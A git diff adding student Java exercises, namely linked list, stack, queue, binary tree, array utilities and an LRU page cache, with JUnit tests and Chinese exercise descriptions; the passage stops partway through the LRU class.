diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..9487991ba0
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
@@ -0,0 +1,25 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.BinaryTreeNode;
+
+public class BinaryTreeNodeTest {
+
+	@Test
+	public void testInsert() {
+		BinaryTreeNode node = new BinaryTreeNode(5, null,null);
+		node.insert(2);
+		node.insert(7);
+		node.insert(7);
+		node.insert(1);
+		node.insert(6);
+		node.insert(4);
+		node.insert(8);
+		assertEquals(8, node.getRight().getRight().getData());
+		assertEquals(4, node.getLeft().getRight().getData());
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
new file mode 100644
index 0000000000..a4db15567d
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
@@ -0,0 +1,126 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Iterator;
+import main.LinkedList;
+
+public class LinkedListTest {
+	private LinkedList list;
+	
+	@Before
+	public void init(){
+		list = new LinkedList();
+	}
+
+	@Test
+	public void testAddObject() {
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		assertEquals(0, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+	}
+
+	@Test
+	public void testAddIntObject() {
+		list.add("b");
+		list.add("d");
+		list.add("e");
+		list.add(0, "a");
+		list.add(2, "c");
+		list.add(5, "f");
+		assertEquals("a", list.get(0));
+		assertEquals("c", list.get(2));
+		assertEquals("f", list.get(5));
+		try {
+			list.add(-1, "hh");
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.add(7, "xx");
+			fail("index should <=size");
+		} catch (Exception e) {}
+	}
+
+	@Test
+	public void testRemove() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		assertEquals("d", list.remove(3));
+		assertEquals("a", list.remove(0));
+		assertEquals("c", list.remove(1));
+		try {
+			list.remove(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.remove(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testGet() {
+
+		list.add("a");
+		assertEquals("a", list.get(0));
+
+		try {
+			list.get(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.get(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+	}
+
+	@Test
+	public void testSize() {
+		list.add("a");
+		assertEquals(1, list.size());
+		list.remove(0);
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testIterator() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		Iterator i = list.iterator();
+		assertTrue(i.hasNext());
+		assertEquals("a", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("b", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("c", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("d", i.next());
+		assertFalse(i.hasNext());
+
+		try {
+			i.next();
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
new file mode 100644
index 0000000000..be1feeb465
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
@@ -0,0 +1,50 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Queue;
+
+public class QueueTest {
+	private Queue queue;
+	
+	@Before
+	public void init(){
+		queue = new Queue();
+	}
+
+	@Test
+	public void testEnQueue() {
+	}
+
+	@Test
+	public void testDeQueue() {
+		try{
+			queue.deQueue();
+			fail("empty queue hasn't element");
+		}catch (Exception e) {
+		}
+		queue.enQueue("a");
+		queue.enQueue("b");
+		assertEquals("a", queue.deQueue());
+		assertEquals("b", queue.deQueue());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertTrue(queue.isEmpty());
+		queue.enQueue("a");
+		assertFalse(queue.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(0, queue.size());
+		queue.enQueue("a");
+		queue.enQueue("a");
+		assertEquals(2, queue.size());
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
new file mode 100644
index 0000000000..7b75a4d218
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
@@ -0,0 +1,67 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Stack;
+
+public class StackTest {
+	private Stack stack;
+	
+	@Before
+	public void init(){
+		stack = new Stack();
+	}
+	
+	@Test
+	public void testPush() {
+		stack.push("a");
+		assertEquals("a", stack.peek());
+		stack.push("b");
+		assertEquals("b", stack.peek());
+	}
+
+	@Test
+	public void testPop() {
+		try{
+			stack.pop();
+			fail("empty stack hasn't element");
+		}catch (Exception e) {
+		}
+		stack.push("a");
+		stack.push("b");
+		stack.push("c");
+		assertEquals("c", stack.pop());
+		assertEquals("b", stack.pop());
+		assertEquals("a", stack.pop());
+	}
+
+	@Test
+	public void testPeek() {
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertTrue(stack.isEmpty());
+		stack.push("a");
+		stack.push("b");
+		assertFalse(stack.isEmpty());
+		stack.pop();
+		assertFalse(stack.isEmpty());
+		stack.pop();
+		assertTrue(stack.isEmpty());
+		
+		
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(0, stack.size());
+		stack.push("a");
+		stack.push("b");
+		assertEquals(2, stack.size());
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
new file mode 100644
index 0000000000..0fe8959b8a
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
@@ -0,0 +1,11 @@
+package utils;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
new file mode 100644
index 0000000000..59670e0272
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
@@ -0,0 +1,209 @@
+package main;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 
+	 * @param origin
+	 * @return
+	 */
+	public static void reverseArray(int[] origin) {
+		if (null == origin) {
+			return;
+		}
+		for (int temp = 0, i = 0; i < origin.length / 2; i++) {
+			temp = origin[i];
+			origin[i] = origin[origin.length - i - 1];
+			origin[origin.length - i - 1] = temp;
+		}
+	}
+
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @param newArray
+	 * @return
+	 */
+
+	public static int[] removeZero(int[] oldArray) {
+		if (null == oldArray) {
+			return null;
+		}
+		int counter = 0;
+		int[] newArray = new int[oldArray.length];
+		for (int i = 0; i < oldArray.length; i++) {
+			if (oldArray[i] != 0) {
+				newArray[counter++] = oldArray[i];
+			}
+		}
+		return Arrays.copyOf(newArray, counter);
+	}
+
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5,6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+
+	public static int[] merge(int[] array1, int[] array2) {
+		if (null == array1) {
+			return array2;
+		}
+		if (null == array2) {
+			return array1;
+		}
+		if (0 == array1.length && 0 == array2.length) {
+			return new int[0];
+		}
+		Arrays.sort(array1);
+		Arrays.sort(array2);
+		int[] array = new int[array1.length + array2.length];
+		System.arraycopy(array1, 0, array, 0, array1.length);
+		System.arraycopy(array2, 0, array, array1.length, array2.length);
+		int counter = 0;
+		for (int i = 0; i < array.length - 1 - counter; i++) {
+			for (int j = i + 1; j < array.length - counter; j++) {
+				if (array[i] == array[j]) {
+					int k = 0;
+					for (k = i; k < array.length - 1; k++) {
+						array[k] = array[k + 1];
+					}
+					i--;
+					counter++;
+					break;
+				}
+			}
+		}
+		array = Arrays.copyOf(array, array.length - counter);
+		Arrays.sort(array);
+		return array;
+	}
+
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public static int[] grow(int[] oldArray, int size) {
+		if (null == oldArray) {
+			return null;
+		}
+		int[] array = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			array[i] = oldArray[i];
+		}
+		return array;
+	}
+
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
+	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] fibonacci(int max) {
+		if (max <= 1) {
+			return new int[0];
+		}
+		int[] array = new int[max];
+		array[0] = 1;
+		array[1] = 1;
+		int i = 1;
+		do {
+			i++;
+			array[i] = array[i - 1] + array[i - 2];
+		} while (array[i] < max);
+		return Arrays.copyOf(array, i);
+	}
+
+	/**
+	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] getPrimes(int max) {
+		if (max < 3) {
+			return new int[0];
+		}
+		int[] array = new int[max];
+		int counter = 0;
+		for (int i = 2; i < max; i++) {
+			int j = 2;
+			for (; j * j <= i; j++) {
+				if (i % j == 0) {
+					break;
+				}
+			}
+			if (j * j > i) {
+				array[counter] = i;
+				counter++;
+			}
+		}
+		return Arrays.copyOf(array, counter);
+	}
+
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] getPerfectNumbers(int max) {
+		if (max < 7) {
+			return new int[0];
+		}
+		int[] array = new int[2];
+		int counter = 0;
+		for (int i = 6; i < max; i++) {
+			int sum = 0;
+			for (int j = 1; j <= i / 2; j++) {
+				if (i % j == 0) {
+					sum = sum + j;
+				}
+			}
+			if (sum == i) {
+				if (counter == array.length) {
+					array = ArrayUtil.grow(array, 2);
+				}
+				array[counter++] = i;
+			}
+		}
+		return Arrays.copyOf(array, counter);
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public static String join(int[] array, String seperator) {
+		if (null == array) {
+			return null;
+		}
+		if (array.length == 0) {
+			return "";
+		}
+		StringBuffer sb = new StringBuffer();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(seperator).append(array[i]);
+		}
+		return sb.toString().substring(seperator.length());
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java
new file mode 100644
index 0000000000..c87caa30c5
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java
@@ -0,0 +1,101 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.ArrayUtil;
+
+public class ArrayUtilTest {
+	@Test
+	public void testReverseArray() {
+		int[] origin = null;
+		ArrayUtil.reverseArray(origin);
+		assertEquals(null, origin);
+
+		int[] origin1 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
+		ArrayUtil.reverseArray(origin1);
+		int[] expected1 = { 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
+		for (int i = 0; i < 4; i++) {
+			assertEquals(expected1[i], origin1[i]);
+		}
+
+		int[] origin2 = { 0, 1, 2, 3, 4, 5, 6, 7, 8 };
+		ArrayUtil.reverseArray(origin2);
+		int[] expected2 = { 8, 7, 6, 5, 4, 3, 2, 1, 0 };
+		for (int i = 0; i < 4; i++) {
+			assertEquals(expected2[i], origin2[i]);
+		}
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int oldArr[] = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
+		int excepted[] = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
+		oldArr = ArrayUtil.removeZero(oldArr);
+		System.out.println(oldArr.length);
+		for (int i = 0; i < oldArr.length; i++) {
+			assertEquals(excepted[i], oldArr[i]);
+		}
+	}
+
+	@Test
+	public void testMerge() {
+		int[] array1 = { 3, 4, 4, 5, 7, 8 };
+		int[] array2 = { 4, 5, 6, 7 };
+		int[] expected = { 3, 4, 5, 6, 7, 8 };
+		int[] array = ArrayUtil.merge(array1, array2);
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(expected[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testGrow() {
+		int[] oldArray = { 2, 3, 6 };
+		int[] array = ArrayUtil.grow(oldArray, 3);
+		int[] expected = { 2, 3, 6, 0, 0, 0 };
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(expected[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testFibonacci() {
+		int[] fibonacci = ArrayUtil.fibonacci(1);
+		assertEquals(0, fibonacci.length);
+
+		int[] fibonacci1 = ArrayUtil.fibonacci(16);
+		int[] excepted1 = { 1, 1, 2, 3, 5, 8, 13, 15 };
+		for (int i = 0; i < fibonacci1.length; i++) {
+			assertEquals(excepted1[i], fibonacci1[i]);
+		}
+	}
+
+	@Test
+	public void testGetPrimes() {
+		int[] primes = ArrayUtil.getPrimes(23);
+		int[] excepted = { 2, 3, 5, 7, 11, 13, 17, 19 };
+		for (int i = 0; i < primes.length; i++) {
+			assertEquals(excepted[i], primes[i]);
+		}
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		int[] PerfectNumbers = ArrayUtil.getPerfectNumbers(497);
+		int[] excepted = { 6, 28, 496 };
+		for (int i = 0; i < PerfectNumbers.length; i++) {
+			assertEquals(excepted[i], PerfectNumbers[i]);
+		}
+	}
+
+	@Test
+	public void testJoin() {
+		int[] array1 = { 3 };
+		assertEquals("3", ArrayUtil.join(array1, "-%"));
+		int[] array2 = { 3, 8, 9, 7 };
+		assertEquals("3-%8-%9-%7", ArrayUtil.join(array2, "-%"));
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
new file mode 100644
index 0000000000..166a6181e3
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
new file mode 100644
index 0000000000..96ffdd77a5
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
@@ -0,0 +1,256 @@
+package main;
+
+import java.util.Arrays;
+
+import utils.ListUtils;
+
+public class LinkedList implements List{
+	private Node head;
+	private int size;
+
+	private static class Node {
+		private Object data;
+		private Node next;
+	}
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (0==size) {
+			head = new Node();
+			head.data = o;
+			size++;
+			return;
+		}
+		if (0 == index) {
+			Node node = new Node();
+			node.data = o;
+			node.next = head;
+			head = node;
+			size++;
+			return;
+		}
+		if (index == size) {
+			Node node = head;
+			while (null != node.next) {
+				node = node.next;
+			}
+			Node addNode = new Node();
+			addNode.data = o;
+			node.next = addNode;
+			size++;
+			return;
+		}
+		Node node = head;
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node addNode = new Node();
+		addNode.data = o;
+		addNode.next = node.next;
+		node.next = addNode;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(size == 0){
+			return null;
+		}
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		if (0 == index) {
+			head = head.next;
+			size--;
+			return node.data;
+		}
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node removeNode = node.next;
+		node.next = removeNode.next;
+		size--;
+		return removeNode.data;
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){	
+		if(this.size == 0){
+			return;
+		}
+		LinkedList list = new LinkedList();
+		for(int i =this.size-1;i>=0;i--){
+			list.add(this.get(i));
+		}
+		this.head = list.head;
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+	 */
+	public  void removeFirstHalf(){
+		int end = size/2;
+		for(int i=0;i<end;i++){
+			remove(0);
+		}
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		if(i+length>size){
+			return;
+		}
+		for(int j =0;j<length;j++){
+			remove(i);
+		}
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		if(null==list||list.size==0){
+			return new int[0];
+		}
+		int[] result = new int[list.size];
+		int counter = 0;
+		for(int i=0;i<list.size;i++){
+			if((int)list.get(i)<this.size){
+				result[counter++] = (int) this.get((int)list.get(i));
+			}
+			
+		}
+		return Arrays.copyOf(result, counter);
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		if(null==list||list.size==0){
+			return;
+		}
+		for(int i=0;i<list.size;i++){
+			for(int j=0;j<this.size;j++){
+				if(this.get(j).equals(list.get(i))){
+					this.remove(j--);
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		if(size ==0){
+			return;
+		}
+		for(int i=0;i<this.size-1;i++){
+			for(int j=i+1;j<this.size;j++){
+				if(this.get(j).equals(this.get(i))){
+					this.remove(j--);
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		if(min>max){
+			return;
+		}
+		for(int i=0;i<size;i++){
+			if((int)get(i)>min&&(int)get(i)<max){
+				remove(i--);
+			}
+		}
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		LinkedList result = new LinkedList();
+		if(null==list||list.size==0){
+			return result;
+		}
+		for(int i=0;i<this.size;i++){
+			for(int j=0;j<list.size;j++){
+				if(this.get(i).equals(list.get(j))){
+					result.add(this.get(i));
+				}
+			}
+		}
+		return result;
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
new file mode 100644
index 0000000000..73e3865ed7
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
@@ -0,0 +1,9 @@
+package main;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object remove(int index);
+	public Object get(int index);
+	public int size();
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
new file mode 100644
index 0000000000..cc64d473e0
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
@@ -0,0 +1,251 @@
+package test;
+
+import static org.junit.Assert.*;
+import org.junit.Before;
+import org.junit.Test;
+
+import main.LinkedList;
+
+public class LinkedListTest {
+	private LinkedList list;
+	@Before
+	public void setUp() throws Exception {
+		list = new LinkedList();
+	}
+
+	@Test
+	public void testReverse() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {0,1,2,3};
+		list.reverse();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveFirstHalf() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {1,0};
+		list.removeFirstHalf();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(4);
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected1 = {2,1,0};
+		list.removeFirstHalf();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+		
+	}
+
+	@Test
+	public void testRemoveIntInt() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {3,0};
+		list.remove(1,2);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(4);
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		list.remove(0,8);
+		int[] expected1 = {4,3,2,1,0};
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testGetElements() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(1);
+		listB.add(3);
+		listB.add(4);
+		listB.add(6);
+		int[] expected = {101,301,401,601};
+		int[] array = list.getElements(listB);
+		for(int i=0;i<array.length;i++){
+			assertEquals(expected[i], array[i]);
+		}
+		
+		list = new LinkedList();
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		listB = new LinkedList();
+		listB.add(1);
+		listB.add(3);
+		listB.add(100);
+		listB.add(101);
+		int[] expected1 = {101,301};
+		int[] array1 = list.getElements(listB);
+		for(int i=0;i<array1.length;i++){
+			assertEquals(expected1[i], array1[i]);
+		}
+		
+		list = new LinkedList();
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		listB = new LinkedList();
+		int[] array2 = list.getElements(listB);
+		assertEquals(0, array2.length);
+		
+		
+	}
+
+	@Test
+	public void testSubtract() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(11);
+		listB.add(201);
+		listB.add(401);
+		listB.add(801);
+		int[] expected = {101,301,501,601,701};
+		list.subtract(listB);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		listB = new LinkedList();
+		int[] expected1 = {101,201,301};
+		list.subtract(listB);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveDuplicateValues() {
+		list.add(1);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(3);
+		list.add(4);
+		list.add(4);
+		int[] expected = {1,2,3,4};
+		list.removeDuplicateValues();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		int[] expected1 = {1,2,3,4};
+		list.removeDuplicateValues();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveRange() {
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		int[] expected = {1,7};
+		list.removeRange(1, 7);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		int[] expected1 = {1,2,3,4,5,6,7};
+		list.removeRange(0,1);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testIntersection() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(11);
+		listB.add(33);
+		listB.add(201);
+		listB.add(401);
+		listB.add(801);
+		int[] expected = {11,201,401};
+		LinkedList result=list.intersection(listB);
+		for(int i=0;i<result.size();i++){
+			assertEquals(expected[i], result.get(i));
+		}
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
new file mode 100644
index 0000000000..0fe8959b8a
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
@@ -0,0 +1,11 @@
+package utils;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java b/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
new file mode 100644
index 0000000000..26a03c58f4
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/04_LRU/src/main/LRUPageFrame.java
@@ -0,0 +1,117 @@
+package main;
+
+public class LRUPageFrame {
+
+	private static class Node {
+
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public LRUPageFrame(int capacity) {
+		this.capacity = capacity;
+		this.currentSize = 0;
+	}
+
+	/**
+	 * 获取缓存中的对象
+	 * 
+	 * @param pageNum
+	 */
+	public void access(int pageNum) {
+		if (first == null && last == null) {
+			first = new Node();
+			first.pageNum = pageNum;
+			last = first;
+			currentSize++;
+			return;
+		}
+		Node tagNode = find(pageNum);
+		if (tagNode != null) {
+			moveExistingNodeToHead(tagNode);
+			return;
+		}
+		Node node = new Node();
+		node.pageNum = pageNum;
+		addNewNodeToHead(node);
+
+	}
+
